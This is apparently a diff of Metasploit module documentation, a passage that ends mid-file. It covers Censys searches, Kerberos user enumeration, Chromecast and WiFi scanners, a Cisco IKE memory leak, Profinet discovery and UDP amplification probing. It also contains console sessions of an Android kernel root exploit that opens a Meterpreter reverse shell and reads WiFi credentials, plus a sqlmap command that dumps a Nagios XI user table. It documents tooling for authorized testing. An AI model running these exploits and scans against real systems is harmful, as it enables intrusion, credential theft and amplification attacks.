[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7
...
```
### IPv4 Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4
CENSYS_SEARCHTYPE => ipv4
[*] 197.117.5.36 - 443/https
[*] 208.118.237.81 - 443/https
[*] 206.19.237.19 - 443/https
[*] 54.214.49.70 - 80/http,443/https
[*] 208.118.237.241 - 443/https
[*] 162.220.246.141 - 443/https,22/ssh,80/http
[*] 31.214.157.19 - 443/https,22/ssh
[*] 52.88.1.225 - 443/https,22/ssh
[*] 208.118.227.12 - 25/smtp
[*] 38.107.201.41 - 443/https
[*] 52.44.56.126 - 80/http,443/https
[*] 52.54.227.6 - 443/https,80/http
[*] 23.217.253.242 - 443/https,80/http
[*] 96.6.3.45 - 80/http,443/https
[*] 23.6.73.47 - 443/https,80/http
[*] 23.78.99.243 - 80/http,443/https
[*] 23.53.51.170 - 80/http,443/https
[*] 23.62.201.47 - 443/https,80/http
[*] 2.23.50.157 - 443/https,80/http
[*] 118.215.191.13 - 80/http,443/https
[*] 2.19.185.28 - 80/http,443/https
[*] 2.18.195.99 - 443/https,80/http
[*] 23.197.196.25 - 443/https,80/http
[*] 95.100.104.181 - 443/https,80/http
[*] 2.20.37.130 - 80/http,443/https
[*] 23.194.237.34 - 443/https,80/http
[*] 2.17.140.86 - 443/https,80/http
[*] 64.125.235.5 - 25/smtp
[*] 208.118.227.32 - 80/http
[*] 2.21.129.149 - 80/http,443/https
[*] 2.20.167.33 - 80/http,443/https
[*] 95.100.139.218 - 80/http,443/https
[*] 23.38.88.202 - 443/https,80/http
[*] 2.17.184.80 - 443/https,80/http
[*] 23.59.119.23 - 80/http,443/https
[*] 2.16.14.225 - 443/https,80/http
[*] 104.113.122.33 - 443/https,80/http
[*] 23.223.44.164 - 80/http,443/https
[*] 88.221.120.214 - 443/https,80/http
[*] 23.47.36.145 - 443/https,80/http
[*] 2.23.21.254 - 80/http,443/https
[*] 208.118.237.39 - 443/https
[*] 208.118.237.40 - 443/https
[*] 208.118.237.41 - 443/https
[*] 23.54.217.47 - 80/http,443/https
[*] 96.17.254.188 - 443/https,80/http
[*] 184.25.129.65 - 443/https,80/http
[*] 104.121.167.123 - 443/https,80/http
[*] 104.94.110.63 - 443/https,80/http
[*] 104.91.11.216 - 80/http,443/https
[*] 23.38.233.47 - 80/http,443/https
[*] 52.86.110.89 - 80/http,443/https
[*] 69.192.73.47 - 443/https,80/http
[*] 184.86.57.47 - 443/https,80/http
[*] 104.86.45.180 - 443/https,80/http
[*] 184.87.72.153 - 80/http,443/https
[*] 23.66.25.47 - 80/http,443/https
[*] 23.56.162.76 - 80/http,443/https
[*] 184.87.133.242 - 443/https,80/http
[*] 23.55.74.28 - 80/http,443/https
[*] 23.6.225.84 - 80/http,443/https
[*] 23.46.133.153 - 443/https,80/http
[*] 23.10.121.47 - 443/https,80/http
[*] 104.109.35.169 - 80/http,443/https
[*] 172.227.101.182 - 80/http,443/https
[*] 184.27.23.104 - 80/http,443/https
[*] 23.49.185.47 - 80/http,443/https
[*] 23.67.172.177 - 80/http,443/https
[*] 23.62.170.161 - 443/https,80/http
[*] 23.219.71.35 - 443/https,80/http
[*] 104.82.94.233 - 443/https,80/http
[*] 184.26.73.47 - 80/http,443/https
[*] 104.68.108.237 - 80/http,443/https
[*] 23.60.39.77 - 80/http,443/https
[*] 23.66.100.92 - 80/http,443/https
[*] 23.61.28.182 - 443/https,80/http
[*] 23.42.116.233 - 80/http,443/https
[*] 104.105.14.197 - 80/http,443/https
[*] 104.103.203.240 - 80/http,443/https
[*] 104.65.57.235 - 80/http,443/https
[*] 23.41.83.224 - 80/http,443/https
[*] 184.51.185.47 - 80/http,443/https
[*] 23.67.231.142 - 80/http,443/https
[*] 208.118.237.38 - 443/https
[*] 104.76.25.28 - 80/http,443/https
[*] 23.196.125.176 - 443/https,80/http
[*] 23.40.154.224 - 80/http,443/https
[*] 23.77.33.204 - 443/https,80/http
[*] 104.88.21.48 - 80/http,443/https
[*] 173.223.134.47 - 80/http,443/https
[*] 23.4.98.72 - 80/http,443/https
[*] 23.44.97.3 - 80/http,443/https
[*] 23.203.66.142 - 443/https,80/http
[*] 23.42.216.251 - 443/https,80/http
[*] 23.42.85.25 - 80/http,443/https
[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh
[*] 104.83.219.182 - 443/https,80/http
[*] 184.86.41.47 - 443/https,80/http
[*] 104.97.72.196 - 443/https,80/http
[*] 69.192.169.48 - 443/https,80/http
```
### Websites Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites
CENSYS_SEARCHTYPE => websites
msf auxiliary(censys_search) > run
[+] rapid7.com - [37743]
[+] logentries.com - [45346]
[+] venturefizz.com - [106102]
[+] gild.com - [116853]
[+] sectools.org - [122125]
[+] ericzhang.me - [155622]
[+] metasploit.com - [156435]
[+] datapipe.com - [209756]
[+] routerpwn.com - [317896]
[+] proxy-base.com - [507954]
[+] config.fr - [542346]
[+] winterwyman.com - [629471]
[+] gogrid.com - [741009]
[+] wesecure.nl - [997423]
[*] Auxiliary module execution completed
```
## References
1. https://censys.io/api
@@ -0,0 +1,99 @@
The kerberos_enumusers module is used to enumerate valid Domain Users
via Kerberos from a wholly unauthenticated perspective. It utilises the
different responses returned by the service to identify users that exist
within the target domain. It is also able to identify whether user
accounts are enabled or disabled/locked out.
## Target
To use kerberos_enumusers, make sure you are able to connect to the
Kerberos service on a Domain Controller.
## Scenario
The following demonstrates basic usage, using a custom wordlist,
targeting a single Domain Controller to identify valid domain user
accounts.
```
msf > use auxiliary/gather/kerberos_enumusers
msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN
DOMAIN => MYDOMAIN
msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1
RHOST => 192.168.5.1
msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt
USER_FILE => /job/users.txt
msf auxiliary(kerberos_enumusers) > run
[*] Validating options...
[*] Using domain: MYDOMAIN...
[*] 192.168.5.1:88 - Testing User: "bob"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "bob" is present
[*] 192.168.5.1:88 - Testing User: "alice"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "alice" is present
[*] 192.168.5.1:88 - Testing User: "matt"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "matt" is present
[*] 192.168.5.1:88 - Testing User: "guest"...
[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have
been revoked
[-] 192.168.5.1:88 - User: "guest" account disabled or locked out
[*] 192.168.5.1:88 - Testing User: "admint"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admint" does not exist
[*] 192.168.5.1:88 - Testing User: "admin"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admin" does not exist
[*] 192.168.5.1:88 - Testing User: "administrator"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "administrator" does not exist
[*] Auxiliary module execution completed
msf auxiliary(kerberos_enumusers) >
```
## Options
The kerberos_enumusers module only requires the RHOST, DOMAIN and
USER_FILE options to run.
**The DOMAIN option**
This option is used to specify the target domain. If the domain name is
incorrect an error is returned and domain user account enumeration will fail.
An example of setting DOMAIN:
```
set DOMAIN [domain name]
```
**The USER_FILE option**
This option is used to specify the file containing a list of user names
to query the Domain Controller to identify if they exist in the target domain
or not. One per line.
An example of setting USER_FILE:
```
set USER_FILE [path to file]
```
**The Timeout option**
This option is used to specify the TCP timeout i.e. the time to wait
before a connection to the Domain Controller is established and data read.
An example of setting Timeout:
```
set Timeout [value in seconds]
```
@@ -0,0 +1,38 @@
This module is a scanner which enumerates Google Chromecast via its HTTP interface (default port 8008). The WiFi access point the Chromecast is also enumerated.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/chromecast_webserver ```
2. Do: ```set RHOSTS [IP]```
3. Do: ```run```
## Sample Output
Of note, all 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular)
```
msf > use auxiliary/scanner/http/chromecast_webserver
msf auxiliary(chromecast_webserver) > set threads 10
threads => 10
msf auxiliary(chromecast_webserver) > set verbose true
verbose => true
msf auxiliary(chromecast_webserver) > set rhosts 10.10.10.0/24
rhosts => 10.10.10.0/24
msf auxiliary(chromecast_webserver) > run
[+] 10.10.10.25:8008 - Chromecast "Guest Bedroom" is connected to Rapid7_wifi
[*] Scanned 26 of 256 hosts (10% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 78 of 256 hosts (30% complete)
[*] Scanned 108 of 256 hosts (42% complete)
[*] Scanned 128 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 183 of 256 hosts (71% complete)
[+] 10.10.10.192:8008 - Chromecast "Bedroom" is connected to Rapid7_wep
[+] 10.10.10.196:8008 - Chromecast "cast" is connected to Rapid7_wep
[*] Scanned 213 of 256 hosts (83% complete)
[*] Scanned 232 of 256 hosts (90% complete)
[+] 10.10.10.236:8008 - Chromecast "Basement" is connected to Rapid7_wep
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,65 @@
This module is a scanner which enumerates WiFi access points visible from a Google Chromecast via its HTTP interface (default port 8080). Any WiFi access point the Chromecast is associated with or can be associated with is marked with an `(*)`.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/chromecast_wifi```
2. Do: ```set RHOSTS [IP]```
3. Do: ```run```
## Sample Output
Of note, all 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular)
```
msf > use auxiliary/scanner/http/chromecast_wifi
msf auxiliary(chromecast_wifi) > set rhosts 10.10.10.0/24
rhosts => 10.10.10.0/24
msf auxiliary(chromecast_wifi) > set threads 20
threads => 20
msf auxiliary(chromecast_wifi) > set verbose true
verbose => true
msf auxiliary(chromecast_wifi) > run
Wireless Access Points from 10.10.10.11
========================================
BSSID PWR ENC CIPHER AUTH ESSID
----- --- --- ------ ---- -----
00:11:22:33:44:55 -59 WPA2 CCMP PSK Rapid7 (*)
aa:11:22:33:44:66 -71 OPN xfinitywifi
[*] Scanned 26 of 256 hosts (10% complete)
[*] Scanned 53 of 256 hosts (20% complete)
[*] Scanned 79 of 256 hosts (30% complete)
[*] Scanned 105 of 256 hosts (41% complete)
[*] Scanned 129 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
Wireless Access Points from 10.10.10.12
=========================================
BSSID PWR ENC CIPHER AUTH ESSID
----- --- --- ------ ---- -----
bb:aa:22:33:44:66 -94 WPA TKIP PSK wifi
bb:aa:cc:dd:44:66 -54 WPA2 CCMP PSK wifi2 (*)
[*] Scanned 180 of 256 hosts (70% complete)
Wireless Access Points from 10.10.10.16
=========================================
BSSID PWR ENC CIPHER AUTH ESSID
----- --- --- ------ ---- -----
bb:aa:cc:dd:44:66 -54 WPA2 CCMP PSK wifi2 (*)
[*] Scanned 222 of 256 hosts (86% complete)
Wireless Access Points from 10.10.10.23
=========================================
BSSID PWR ENC CIPHER AUTH ESSID
----- --- --- ------ ---- -----
bb:aa:cc:dd:44:66 -63 WPA2 CCMP PSK wifi2 (*)
00:11:22:33:44:55 -85 WPA2 CCMP PSK Rapid7 (*)
[*] Scanned 241 of 256 hosts (94% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,34 @@
This module is for CVE-2016-6415, A vulnerability in Internet Key Exchange version 1 (IKEv1) packet processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software could allow an unauthenticated, remote attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information.
## Verification Steps
1. Do: ```use auxiliary/scanner/ike/cisco_ike_benigncertain```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf auxiliary(cisco_ike_benigncertain) > show options
Module options (auxiliary/scanner/ike/cisco_ike_benigncertain):
Name Current Setting Required Description
---- --------------- -------- -----------
PACKETFILE /opt/metasploit-framework/data/exploits/cve-2016-6415/sendpacket.raw yes The ISAKMP packet file
RHOSTS 192.168.1.2 yes The target address range or CIDR identifier
RPORT 500 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(cisco_ike_benigncertain) > set verbose True
msf auxiliary(cisco_ike_benigncertain) > run
[*] Printable info leaked:
>5..).........9.................................................................x...D.#..............+#.........\.....?.L...l...........h.............#.....................l...\...........l.....X.................a.#...R....X.....y#.........x...@V$.\.............X.<....X................W....._y>..#t... .....H...X.....W.......................................>.$...........>5..).............................!.....:3.K......X.............xV4.xV4.xV4.......................................X...........X.:3.KxV4.xV4.................$...m;......xV4.xV4.xV4.xV4.xV4.xV4.xV4.xV4...........!.....<<<<........................................................................................................................................................<<<<....................$...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................<<<<1.......................................<<<<....9....... .......d....................Q..........<<<<....9....... ...............(............Q..........<<<<........................CI................................................................................ab_cdefg_pool...................................................................................................................................................................................ozhu7vp...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] 192.168.1.2:500 - IKE response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,76 @@
Siemens Industrial controllers and most other industrial OEMs
use a proprietary protocol to discover their devices accross a network.
In the case of Siemens this is called the Profinet Discover Protocol.
Known in Wireshark as PN_DCP
It works purely on Layer 2 (Ethernet addresses) and sends out a single
multicast packet (making it safe to use in sensitive networks).
Each profinet enabled responds with an array of information:
- Its IP address, Subnetmask and Gateway
- Its Profinet Devicename ('Station Name')
- The Type of station
- A Vendor ID (e.g. '002a'), signifing the vendor (e.g. 'Siemens')
- A Device Role (e.g. '01'), signifing the type of device (e.g. 'IO-Controller')
- A Device ID (e.g. '010d'), signifing the device type (e.g. 'S7-1200')
## Vulnerable Application
This is a hardware choice of design, and as such CANNOT be changed without
loss of compatibility.
Possible mitigations include: pulling the plug (literally), using network isolation
(Firewall, Router, IDS, IPS, network segmentation, etc...) or not allowing bad
people on your network.
Most, if not all, PLC's (computers that control engines, robots, conveyor
belts, sensors, camera's, doorlocks, CRACs ...) have vulnerabilities where,
using their own tools, remote configuration and programming can be done
*WITHOUT* authentication. Investigators and underground hackers are just now
creating simple tools to convert the, often proprietary, protocols into simple
scripts. The operating word here is "proprietary". Right now, the only thing
stopping very bad stuff from happening.
## Verification Steps
The following demonstrates a basic scenario, we "detect" two devices:
```
msf > search profinet
msf > use auxiliary/scanner/scada/profinet_siemens
msf auxiliary(profinet_siemens) > run
[*] Sending packet out to eth0
[+] Parsing packet from 00:0e:8c:cf:7b:1a
Type of station: ET200S CPU
Name of station: pn-io-1
Vendor and Device Type: Siemens, ET200S
Device Role: IO-Controller
IP, Subnetmask and Gateway are: 172.16.108.11, 255.255.0.0, 172.16.108.11
[+] Parsing packet from 00:50:56:b6:fe:b6
Type of station: SIMATIC-PC
Name of station: nm
Vendor and Device Type: Siemens, PC Simulator
Device Role: IO-Controller
IP, Subnetmask and Gateway are: 172.16.30.102, 255.255.0.0, 172.16.0.1
[+] I found 2 devices for you!
[*] Auxiliary module execution completed
```
## Module Options
```
msf auxiliary(profinet_siemens) > show options
Module options (auxiliary/scanner/scada/profinet_siemens):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE eth0 yes Set an interface
TIMEOUT 2 yes Seconds to wait, set longer on slower networks
```
By default, the module uses interface 'eth0', there is a check to see if it is live.
The module will send out an ethernet packet and wait for responses.
By default, it will wait 2 seconds for any responses, this is long enough for most networks.
Increase this on larger and/or slower networks, it just increases the wait time.
@@ -0,0 +1,125 @@
## Vulnerable Application
Any reachable UDP endpoint is a potential target.
## Verification Steps
Example steps in this format:
1. Start `msfconsole`
2. Do: ```use auxiliary/scanner/udp/udp_amplification```
3. Do `set RHOSTS [targets]`, replacing ```[targets]``` with the hosts you wish to assess.
4. Do ```set PORTS [ports]```, replacing ```[ports]``` with the list of UDP ports you wish to assess on each asset.
5. Optionally, ```set PROBE [probe]```, replacing ```[probe]``` with a string or `file://` resource to serve as the UDP payload
6. Do: ```run```
7. If any of the endpoints were discovered to be vulnerable to UDP amplification with the probe you specified, status will be printed indicating as such.
## Options
**PORTS**
This is the list of ports to test for UDP amplification on each host.
Formats like `1,2,3`, `1-3`, `1,2-3`, etc, are all supported. You'll
generally only want to specify a small, targeted set of ports with an
appropriately tailored `PROBE` value, described below
**PROBE**
This is the payload to send in each UDP datagram. Unset or set to the empty
string `''` or `""` to send empty UDP datagrams, or use the `file://`
resource to specify a local file to serve as the UDP payload.
## Scenarios
```
resource (amp.rc)> use auxiliary/scanner/udp/udp_amplification
resource (amp.rc)> set RHOSTS 10.10.16.0/20 192.168.3.0/23
RHOSTS => 10.10.16.0/20 192.168.3.0/23
resource (amp.rc)> set PORTS 17,19,12345
PORTS => 17,19,12345
resource (amp.rc)> set THREADS 100
THREADS => 100
resource (amp.rc)> set PROBE 'test'
PROBE => test
resource (amp.rc)> run
[*] Sending 4-byte probes to 3 port(s) on 10.10.16.0->10.10.16.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.18.0->10.10.18.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.20.0->10.10.20.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.21.0->10.10.21.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.22.0->10.10.22.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.23.0->10.10.23.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.24.0->10.10.24.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.25.0->10.10.25.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.27.0->10.10.27.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.28.0->10.10.28.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.29.0->10.10.29.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.30.0->10.10.30.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.31.0->10.10.31.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 192.168.3.0->192.168.3.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 192.168.4.0->192.168.4.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.17.0->10.10.17.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.19.0->10.10.19.255 (256 hosts)
[*] Sending 4-byte probes to 3 port(s) on 10.10.26.0->10.10.26.255 (256 hosts)
[*] Scanned 512 of 4608 hosts (11% complete)
[+] 10.10.17.153:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 10.10.20.47:17 - susceptible to UDP amplification: No packet amplification and a 40x, 159-byte bandwidth amplification
[*] Scanned 2560 of 4608 hosts (55% complete)
[+] 10.10.23.199:19 - susceptible to UDP amplification: No packet amplification and a 256x, 1020-byte bandwidth amplification
[+] 10.10.23.248:17 - susceptible to UDP amplification: No packet amplification and a 26x, 103-byte bandwidth amplification
[*] Scanned 3584 of 4608 hosts (77% complete)
[*] Scanned 3840 of 4608 hosts (83% complete)
[+] 10.10.30.202:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[*] Scanned 4096 of 4608 hosts (88% complete)
[+] 192.168.3.64:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 192.168.3.71:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 192.168.3.73:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 192.168.3.77:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 192.168.3.100:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 192.168.3.113:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 192.168.3.118:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[+] 192.168.4.253:19 - susceptible to UDP amplification: 2x packet amplification and a 37x, 144-byte bandwidth amplification
[+] 192.168.3.178:19 - susceptible to UDP amplification: No packet amplification and a 18x, 70-byte bandwidth amplification
[*] Scanned 4352 of 4608 hosts (94% complete)
[+] 192.168.4.254:19 - susceptible to UDP amplification: 2x packet amplification and a 37x, 144-byte bandwidth amplification
[*] Scanned 4608 of 4608 hosts (100% complete)
[*] Auxiliary module execution completed
```
Similarly, but with empty UDP datagrams instead:
```
resource (amp.rc)> unset PROBE
Unsetting PROBE...
resource (amp.rc)> run
[*] Sending 0-byte probes to 3 port(s) on 10.10.16.0->10.10.16.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.17.0->10.10.17.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.18.0->10.10.18.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.19.0->10.10.19.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.20.0->10.10.20.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.21.0->10.10.21.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.22.0->10.10.22.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.23.0->10.10.23.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.24.0->10.10.24.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.25.0->10.10.25.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.26.0->10.10.26.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.27.0->10.10.27.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.28.0->10.10.28.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.29.0->10.10.29.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.30.0->10.10.30.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 10.10.31.0->10.10.31.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 192.168.3.0->192.168.3.255 (256 hosts)
[*] Sending 0-byte probes to 3 port(s) on 192.168.4.0->192.168.4.255 (256 hosts)
[+] 10.10.17.229:17 - susceptible to UDP amplification: No packet amplification and a 107x, 107-byte bandwidth amplification
[+] 10.10.26.252:19 - susceptible to UDP amplification: No packet amplification and a 3892x, 3892-byte bandwidth amplification
[*] Scanned 4096 of 4608 hosts (88% complete)
[+] 192.168.3.113:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
[+] 192.168.3.114:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
[+] 192.168.3.115:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
[+] 192.168.3.178:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
[+] 192.168.3.184:19 - susceptible to UDP amplification: No packet amplification and a 74x, 74-byte bandwidth amplification
[*] Scanned 4352 of 4608 hosts (94% complete)
[+] 192.168.4.253:19 - susceptible to UDP amplification: 2x packet amplification and a 148x, 148-byte bandwidth amplification
[+] 192.168.4.254:19 - susceptible to UDP amplification: 2x packet amplification and a 148x, 148-byte bandwidth amplification
[*] Scanned 4608 of 4608 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,55 @@
## Intro
This modules exploits a vulnerability in the linux kernel on an Android device, which allows an untrusted app to elevate to root priviledges. On Android an application normally runs as an individual linux user, sandboxing it from the Android system and other applications. After running the exploit the resulting session has full priviledge on the device, and can access the entire filesystem and the private data files of every other app, including system apps.
The exploit uses a read kernel memory primitive to first figure out the correct offsets for the device, before using the write primitive to overwrite the ptmx.fsync handler to a function that will elevate the current process to root. Finally /dev/ptmx is opened, and fsync called to trigger the exploit.
This exploit should work on any vulnerable device and is not device specific. In the example below a Samsung Galaxy S4 running Android version 4.3 was targetted.
## Usage
You'll first need to obtain a session on the target device. Once the module is loaded, one simply needs to set the ```SESSION``` option and configure the handler. The exploit can take a while to run on the device so it is configured with ```WfsDelay``` option to wait 120 seconds for a session. If you have not had a session after this time you can assume the device is not vulnerable.
An example session follows:
```
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter dalvik/android u0_a132 @ localhost 192.168.1.52:4444 -> 192.168.1.54:33549 (192.168.1.54)
msf exploit(handler) > use exploit/android/local/put_user_vroot
msf exploit(put_user_vroot) > set LHOST 192.168.1.52
LHOST => 192.168.1.52
msf exploit(put_user_vroot) > set LPORT 5555
LPORT => 5555
msf exploit(put_user_vroot) > set SESSION 1
SESSION => 1
msf exploit(put_user_vroot) > run
[*] Started reverse TCP handler on 192.168.1.52:5555
[*] Loading exploit library /data/data/com.metasploit.stage/files/bwycy
[*] Loaded library /data/data/com.metasploit.stage/files/bwycy, deleting
[*] Waiting 120 seconds for payload
[*] Sending stage (388156 bytes) to 192.168.1.54
[*] Meterpreter session 2 opened (192.168.1.52:5555 -> 192.168.1.54:59580) at 2016-12-24 00:19:12 +0800
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > cat /data/misc/wifi/wpa_supplicant.conf
ctrl_interface=wlan0
...
```
@@ -28,8 +28,22 @@ steps on the screen to configure the app.
Configuration is actually not required to exploit the app, but you should do it
anyway.
## Options
**USER_ID**
If you wish to exploit a particular ```USER_ID```, that can be specified here. Default is 1, which is most likely the admin account.
**API_TOKEN**
The SQLi included only works for MySQL, which should work in most cases. However, if you experience a different backend, you can enumerate the user
table via sqlmap: ```sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
Then you can set the ```USER_ID``` and ```API_TOKEN``` to skip those phases and move on to exploitation. Default is empty. See example below for more usage.
## Usage
### Typical Usage
Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.
@@ -71,3 +85,103 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
uname -a
